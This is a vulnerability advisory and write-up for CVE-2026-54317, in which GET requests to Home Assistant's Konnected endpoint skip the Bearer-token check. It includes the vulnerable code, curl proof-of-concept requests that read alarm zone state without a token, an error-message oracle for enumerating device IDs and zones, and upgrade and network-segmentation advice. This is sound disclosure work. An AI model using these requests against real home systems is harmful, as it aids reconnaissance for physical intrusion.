CVE-2026-54317High (CVSS 7.6)Fixed4 min read
Unauthenticated LAN disclosure in Home Assistant's Konnected integration
GET requests to the Konnected HTTP endpoint skipped the Bearer-token check that POST and PUT enforced, exposing alarm-panel switch states and zone topology to any LAN-adjacent client.
- Vendor
- Home Assistant
- Product
- Core (Konnected integration)
- Weakness
- CWE-306 / CWE-200
- Affected
- < 2026.6.0
- Fixed in
- 2026.6.0
- Advisory
- GHSA-x84v-g949-293w
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Disclosure timeline
May 19, 2026
Reported privately to the Home Assistant security team, with an end-to-end PoC against Core 2026.5.2.
May 23, 2026
Fix merged upstream: PR #171896 removed the deprecated Konnected integration, shipping in Core 2026.6.0.
Jun 18, 2026
Advisory GHSA-x84v-g949-293w published and CVE-2026-54317 assigned with credit.
Home Assistant's Konnected integration registers an HTTP endpoint for its alarm-panel hardware to push updates to. The view is declared with requires_auth = False and a comment saying it authenticates with an access token from the configuration instead. That token check is real, but it only runs on the POST and PUT handlers. The GET handler has none. Any device on the LAN could read the live state of the alarm panel without a token.
I found it by reading the view class straight through. The auth lives in one method, and the read path is a different method that never calls it.
The fix
Home Assistant removed the integration. Konnected had already been deprecated, so PR #171896 deleted it outright. It merged on 2026-05-23 and shipped in Core 2026.6.0. There is no patched version of the endpoint, the endpoint is gone. If you are on 2026.6.0 or later you are not affected.
The bug
Everything is in homeassistant/components/konnected/__init__.py.
The view is registered without auth (line 301). The comment is the tell: it promises a token check that the class only half delivers.
class KonnectedView(HomeAssistantView):
url = UPDATE_ENDPOINT # /api/konnected/device/{device_id}
name = "api:konnected"
requires_auth = False # Uses access token from configuration
Writes go through update_sensor(), the handler for POST and PUT. It reads the Authorization header and compares it against the stored tokens with hmac.compare_digest (lines 313-335). No token, 401.
async def update_sensor(self, request, device_id):
auth = request.headers.get(AUTHORIZATION)
tokens = [...] # configured access tokens
if auth is None or not next(
(True for t in tokens if hmac.compare_digest(f"Bearer {t}", auth)), False
):
return self.json_message("unauthorized", status_code=HTTPStatus.UNAUTHORIZED)
Reads go through get(), a separate method (lines 385-438). It never touches request.headers. It looks up the device and returns switch state:
async def get(self, request, device_id):
if not (device := data[CONF_DEVICES].get(device_id)):
return self.json_message(f"Device {device_id} not configured",
status_code=HTTPStatus.NOT_FOUND)
if (panel := device.get("panel")) is not None:
hass.async_create_task(panel.async_connect()) # line 397, fires before any check
...
resp["state"] = self.binary_value(hass.states.get(zone_entity_id).state, ...)
return self.json(resp)
Two methods, one URL. POST and PUT are guarded, GET is not. Reading the source, it is easy to assume requires_auth = False plus the token comment means the whole view is covered. It is not.
Exploitation
Home Assistant binds to 0.0.0.0:8123 by default, so anything on the LAN can reach it, no token needed.
First the control, to show the token check is real. POST without a header is rejected:
$ curl -sS -i -X POST -d '{"zone":"5","state":"1"}' \
http://homeassistant.local:8123/api/konnected/device/aabbccdd1122
HTTP/1.1 401 Unauthorized
{"message":"unauthorized"}
Now the bug. GET on the same URL returns state:
$ curl -sS "http://homeassistant.local:8123/api/konnected/device/aabbccdd1122?zone=5"
{"zone":"5","state":1}
In a normal Konnected alarm layout that zone is a switch output: a siren, a strobe, a relay wired to an arm-disable circuit. state:1 means it is active right now.
The handler also hands out a clean oracle for finding valid targets. Four request shapes, four distinct responses:
unknown device_id -> 404 Device <id> not configured
known device, no zone/pin -> 404 Switch on zone or pin unknown not configured
known device, unknown zone -> 404 Switch on zone or pin <n> not configured
known device, known zone -> 200 {"zone":"<n>","state":0|1}
Konnected derives device_id from the hardware MAC, and the hardware ships with a small set of manufacturer OUI prefixes, so the search space is around 2^24 with no rate limit. Walk the device space until the message changes, then sweep zones 1 through 12 to map the panel.
One more side effect: line 397 fires panel.async_connect() on every GET, before any check. N unauthenticated requests drive N outbound connection attempts at the panel hardware, unlogged and unthrottled.
I confirmed the whole chain against ghcr.io/home-assistant/home-assistant:2026.5.2. A deliberately wrong Authorization header returns the same 200 as no header at all, which proves get() never reads it.
Impact
For a control whose only job is to report whether a house is armed, leaking that state to anyone on the Wi-Fi is the whole game. state:1 on the siren zone tells an attacker the alarm is sounding; state:0 says the panel is quiet. The zone sweep says which zones are sensors and which drive outputs. That is exactly the reconnaissance a physical intruder wants, and none of it needs a credential.
If you run Home Assistant
Upgrade to Core 2026.6.0 or later, which removes the integration. If you are pinned to an older release for other reasons, keep the Home Assistant host off any segment untrusted devices can reach, and put IoT gear on its own VLAN so a guest or a compromised device cannot get to port 8123.